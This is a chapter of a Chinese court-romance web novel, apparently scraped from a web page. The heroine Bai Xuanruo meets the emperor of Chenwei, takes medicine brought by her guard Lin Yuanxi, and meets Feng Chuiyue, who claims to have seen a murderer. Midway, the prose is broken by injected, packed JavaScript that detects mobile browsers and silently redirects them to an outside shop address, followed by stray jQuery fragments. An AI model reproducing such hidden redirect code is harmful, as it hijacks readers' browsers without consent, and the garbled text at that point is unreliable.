见琉砚这番表现,白宣箬心下一顿,只觉得这经年轮转之间,琉砚当真是变了不少。
她倒是也并未再说什么,只由着琉砚牵着。
过了大约小半个时辰,马车终于停下,琉砚牵着她下了车。
此处是前朝和内廷之间的分界,再往前,车驾便不得入内了。
两人牵着手行过一路,时不时有宫人经过,停下步子给他们行礼,语气恭谨:“见过太子殿下。”
行至御书房门前,将林苑兮和阿著留在门外,琉砚领着白宣箬便进了御书房。
书房内坐着一位儒雅肃静的中年人,正是尘未国皇帝琉钧。
“儿臣见过父皇。”
“臣女白宣箬见过陛下。”
两人分别向琉钧行了一礼。
“起身吧,不必多礼。”琉钧说着,声音慈爱平和。
白宣箬依言起身。
“从阳君城过来,应是半月有余的路途?一路舟车劳顿,辛苦了。”
“感念陛下挂怀,一路得见异国风土人情,辛苦是谈不上的。”白宣箬答道。
琉钧闻言,开怀地笑了笑:“砚儿此前与朕说,想邀未婚妻前来观礼,朕还忧心白槐是否会嫌着路途遥远,不肯放你前来。如今看来,倒是多虑了。”
白宣箬心念一动,琉钧的话,看似是在说担心她爹不放人,实则,也是在试探阳若国对此事的态度。
“娘亲定下的婚约,家父自然是支持的。况且,我阳若国的陛下,待此事亦是十分重视,特地交代臣女此行与琉砚殿下多增进些了解。”
琉钧望着她,微微颔首,眼底有几分认可之意。
这姑娘,进退有度,应对得宜,温雅中又不失沉稳,倒也当得起太子妃之位。
之后,琉钧又同两人随意聊了些话题,尽显一位父亲的慈和。
一同用过午膳后,琉钧便交代琉砚带着白宣箬去驿馆入住。
一行人又行至驿馆,白宣箬作为太子殿下的未婚妻,被安排着住在了离皇城最近的东馆,冰巧也早已被琉砚的人从别院接了过来。
琉砚领着白宣箬一路行至内院前的仪门处,才停了步:“风芷国师宿于西馆,兰笙国主则在南馆。”
白宣箬颔首,又疑惑道:“酹月呢?”
既然诸国皆有来使,酹月国理应也有人前来才是。
琉砚摇首:“酹月暂无人到达。”
白宣箬沉吟了一瞬,倒也未将此事放在心上。
琉砚离开之后,白宣箬同冰巧走进了内院北面的正房,让冰巧替她将妆面卸了干净,又换上寝衣,便让冰巧退下了。
昨夜宿得晚,上午又是小心翼翼地应对尘未帝,她又有伤在身,此时也已有些困顿了。
她走至床边,正要躺下,忽然想起什么似的,从袖中掏出一个药瓶,张口欲喊,却又及时止住。
冰巧就在东侧耳房,若此时喊林苑兮,定时会被她听到。
白宣箬想了想,又从怀中取出一个物件来。
正是之前在阳君城,林苑兮交予她的那一枚青色玉玦。
以内力催之,方圆十里内,林苑兮便会知道。
她认真观察了一会儿这枚玉玦,纹路复杂,若仔细观察,便会发现,其内壁上刻一小字,并非现下诸国通用的字体,倒似是某种古文字,她不大识得。
只是,这字体走势与风格,倒是与她在梦随山庄石碑上所见的字体相似。当时惊鸿一瞥,她也未曾太过留意,因此现在已经记不清当时那几个字的样式了。
她轻轻地往玉玦内注入内力。
须臾,林苑兮从后窗跃进来,无声地落在地上。
白宣箬一手握着药瓶,一手持着玉玦,抬头看向他。
他只看了她一眼,还未来得及说什么,便急忙背过身去。
白宣箬有些疑惑地看着他绷直的背影,又低头瞧了瞧自己,这才明白过来。
此时她身上只着了一件素罗中衣,于礼,他确实不该面对着她。
“这药,怎么用?”她以极轻的声音问道。
“服药后一个小周天,每日餐后服用一次即可。”林苑兮依旧背对着她,以同样轻的声音回道。
“嗯。”白宣箬轻声应道,又问,“这玉玦上的字,与梦随山庄石碑之上,是一样的么?”
“嗯,是'随’。”
白宣箬微微勾起唇角,眼眸中也溢出了些笑意。
这个来自风芷国的古文字,成功地将她带回了梦随山庄的回忆中。
松风,明月,箫声清绝。
可惜,下了棋山之后,她就再也未听过他的箫声。
她甚至不知他是否有将箫带在身边。
此时不便多问,还是下次无人时,再问问他罢。
她心下想着,轻叹了一声,说道:“无事了,你先回去吧。”
“好。”林苑兮应道,头也不回地飞身离去了。
步履间竟似有些仓惶。
见状,白宣箬不禁笑了笑,将玉玦收入怀中,又拔了药瓶上的瓶塞,倒出一粒药丸,和水服下。又运转了一个小周天,渐觉通身舒畅。
她躺下来,盖好被子,又伸手抚上心口。
迷迷糊糊间,她想着,待她醒来,定要记得找根绳子,将玉玦穿上,戴在颈间。
免得丢了。
一觉醒来,已是傍晚时分。
白宣箬是被饿醒的。
午间同尘未帝和琉砚用膳,那两人皆是每道菜不超过三筷,她也不敢多食,因而并未吃饱。
她坐起身,轻唤:“冰巧?”
少顷,一阵敲门声传来:“姑娘。”
“进来罢。”
白宣箬见冰巧开了门进来,问道:“可有衣物?”
冰巧笑着答道,边往衣橱走去:“有的,知道姑娘要来,殿下特地备好了。”
白宣箬闻言,站起身来,走到衣橱前。
这里的衣橱比琉砚的别院要大上许多,橱门被冰巧打开,只见各式各样的衣裙,琳琅满目。
她挑了件样式简单的素白罗裙换上。
“奴婢为您梳妆。”
“不必了,晚间不出门,将头发挽起来便是。”
简单梳洗过后,冰巧为她将长发梳顺,将半数秀发挽起,斜斜插上两根玉簪,简单秀雅。
“多谢。”白宣箬朝她浅浅一笑,“有些饿了,可有些什么吃的?”
“姑娘想吃些什么,奴婢这就去做。”
“都行。”
“好,奴婢下午做了些糕点,先取来,姑娘可先垫垫。”
“好,拿到院中吧。”
“是。”
冰巧自去取糕点了,白宣箬起身,移步至院中。
此时正是黄昏时分,天色尚未黑透,院中载了一株苦楝,此时正是花期,淡紫色的小花儿缀在叶间,优雅可爱得紧。
苦楝树下,有一秋千,秋千旁不远处便是石桌石凳。
冰巧将装了糕点的食盒取来,放在一旁的石桌上,便去后厨忙活了。
白宣箬走过去,先是吃了几块糕点,垫了垫肚子。随后移步到秋千上坐下,却并未荡起来,只是小幅度地晃着。
倒是惬意得很。
此时此地,没有需要谨慎应对的人和场合,也无需任何伪装。
她倚着秋千索,轻轻地,一下一下。
足不沾地,在空中随着秋千一荡一荡的。
是轻快而自由的感觉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716825|206368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
此情此景,若是有酒,便更好了。
不过,若有箫音,也不错。
白宣箬正想唤林苑兮,却忽然听得西侧院墙上传来一阵窸窸窣窣的响动。
她还未来得及反应,便见一道黑影已飞身过去。
墙上传来一阵求饶声:“哎哎别杀我,我不是刺客!”
声音渐行渐近,林苑兮手上提溜着一个姑娘,落在秋千前。
“仙女姐姐救我!”那姑娘见到白宣箬之后,一双杏圆的眼巴巴地望着她,可怜兮兮地哀求道。
白宣箬见状,先是一愣,随后便忍不住笑开来。
仙女姐姐?
这姑娘还是一如既往地喜欢取些奇怪的外号啊。
“阿苑,放开她吧。”
林苑兮依言松了手。
风吹月原本正扑腾着,忽然被松开来,重重地摔落在地上。
好在她被林苑兮提着,离地面不远,泥土地面摔起来并不太疼。
但是,脏啊。
她一边手脚并用地爬起来,一边气鼓鼓地道:“你这凶残护卫,怎么这……”
话说到一半,看到林苑兮的脸,她的脸上瞬间由气愤转为惊讶:“白脸护卫,怎么是你?!”
林苑兮偏过头,看到风吹月脏兮兮的脸,眸中也闪过一丝讶色:“你为何在此?”
方才他只顾着抓人,并未看清样貌。
“我……我来看传闻中琉砚太子的未婚妻呀。”风吹月答道,又有些疑惑,“咦,你家玉面公子呢?你们昨日不是被琉砚一起带走了吗?”
见风吹月将话题转到了浣月轩的事上,林苑兮也不知该如何作答,便将目光转向白宣箬。
风吹月顺着他的目光看去,这一眼又被转移了注意,她眼睛一亮,走上前两步:“仙女姐姐,你好好看。”
白宣箬动作微顿,抿唇一笑:“吹月。”
风吹月眼睛蓦地睁大:“诶,你怎知我叫吹月?是白脸护卫告诉你的?”
白宣箬压低了声音,又叫了声:“吹月。”
“玉面公子?!”风吹月又惊又喜,不禁绕着秋千转了两圈,上瞅瞅,下瞅瞅,“你是女子?”
说完这句,她又反应过来,补了一句,“还是琉砚的未婚妻?!”
白宣箬含笑点点头。
得到肯定的回答后,风吹月眼睛又亮了几分。
她这次私自离宫就是为了来看看传闻中惊才绝艳的尘未太子琉砚。
说来琉砚也只比她年长五岁,可从小她便是听着他的故事长大的,听着听着便越发好奇和仰慕起来。
当然,只是出于对优秀同辈的仰慕,并非是男女之间。
昨夜她在浣月轩见到了琉砚之后,虽然很快就被离溯那只白毛怪捉到了,但也不枉此行了。
然而今日又听闻琉砚的未婚妻入住了东馆,她便趁着离溯外出偷偷溜了过来,不料见到了这位仙女姐姐。最令人欢欣的是,美丽的仙女姐姐竟然就是善良温和的玉面公子!
如此想来,仙女姐姐和尘未太子,当真般配!
“对了,昨日在浣月轩,你可有发现什么?”白宣箬出声问道。
方才她主动暴露自己,也是为了这个问题。
若她只是个陌生人,风吹月绝无可能把自己所见所闻说出来。
当然,即便是相识之人,也未必就能问出些什么,不过是碰碰运气罢了。
毕竟,浣月轩的那个人,还有命案,以及尸体身上的莲花状伤口,总让她无法安心。
风吹月听到这个问题,左顾右盼了一会儿,才凑近白宣箬,将手放在嘴边,悄声说:“我看到了,凶,手。”
闻言,白宣箬猝然抬头看她:“凶手?”